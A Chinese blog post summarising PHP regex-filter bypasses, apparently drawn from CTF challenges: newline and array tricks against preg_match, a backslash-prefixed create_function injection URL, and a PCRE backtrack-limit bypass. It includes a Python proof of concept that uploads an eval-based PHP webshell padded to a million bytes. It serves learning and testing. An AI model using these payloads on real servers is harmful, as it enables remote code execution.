【知识积累】正则绕过总结一下

admin 2022年1月10日03:32:49评论113 views字数 2452阅读8分10秒阅读模式

前言

  • 正则绕过知识总结

一、换行符绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

include("flag.php");

highlight_file(__FILE__);

$c = $_GET['c'];

if (preg_match('/^flag$/i', $c) &amp;& $c !== 'flag') {
echo $flag;
}else{
echo "nonono";
}

image-20210828143654446

二、数组绕过

preg_match只能处理字符串,当传入的subject是数组时会返回false

三、%5c绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$action= $_GET['action'] ? $_GET['action']: '';

$arg= $_GET['arg'] ? $_GET['arg']: '';

if(preg_match('/^[a-z0-9_]*$/isD',$action)) {

show_source(__FILE__);

}else {

$action('', $arg);

}

题目要求我们需要绕过正则才可以任意命令执行
正则的意思:/^[a-z0-9_]*$/isD

1
2
3
4
5
/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]

/D如果使用$限制结尾字符,则不允许结尾有换行;

payload

1
http://127.0.0.1/test.php?action=\create_function&arg=return%271%27;}phpinfo();/*

image-20210828145411198

四、PHP利用PCRE回溯次数限制绕过某些安全限制

参考文章Leavesongs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function is_php($data){
return preg_match('/<?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

回溯的过程

1
所以,我们题目中的正则<\?.*[(`;?>].*,假设匹配的输入是<?php phpinfo();//aaaaa,实际执行流程是这样的:

img

1
2
3
4
5
6
7
见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(`;?>]。

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

最终直到吐出;,输入变成第12步显示的<?php phpinfo(),此时,.*匹配的是php phpinfo(),而后面的;则匹配上[(`;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。

这里回溯了八次

PHP的pcre.backtrack_limit限制利用

1
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

image-20210828165314190

image.png

image-20210828165602333

可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?比如:

image-20210828165804456

那么这道题的答案就呼之欲出了,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

对应的POC如下:

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO

url = "http://127.0.0.1/test.php"

files = {
'file': BytesIO(b'aaa<?php eval($_POST[cmd]);//'+b'a'*1000000)
}

r = requests.post(url,files=files, allow_redirects=False)
print(r.headers['Location'])

image-20210828170934106

我的个人博客

孤桜懶契:http://gylq.gitee.io

FROM:gylq.gitee Author:孤桜懶契

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日03:32:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【知识积累】正则绕过总结一下http://cn-sec.com/archives/729999.html

发表评论

匿名网友 填写信息